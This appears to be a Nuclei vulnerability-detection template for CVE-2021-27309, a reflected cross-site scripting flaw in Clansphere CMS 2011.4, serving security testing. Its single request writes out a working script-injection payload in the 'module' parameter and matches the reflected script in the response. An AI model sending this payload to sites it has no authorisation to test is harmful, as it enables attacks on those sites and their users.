50 lines
1.5 KiB
YAML
50 lines
1.5 KiB
YAML
id: CVE-2021-27309
|
|
|
|
info:
|
|
name: Clansphere CMS 2011.4 - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: |
|
|
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the "module" parameter.
|
|
remediation: |
|
|
Upgrade to a patched version of Clansphere CMS or apply the vendor-supplied patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22module%22%20xss.md
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27309
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-27309
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-27309
|
|
cwe-id: CWE-79
|
|
epss-score: 0.001
|
|
epss-percentile: 0.4078
|
|
cpe: cpe:2.3:a:csphere:clansphere:2011.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: csphere
|
|
product: clansphere
|
|
tags: cve,cve2021,clansphere,xss,cms,unauth
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/mods/clansphere/lang_modvalidate.php?language=language&module=module%22></script><script>alert(document.domain)</script>"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"></script><script>alert(document.domain)</script>.php'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|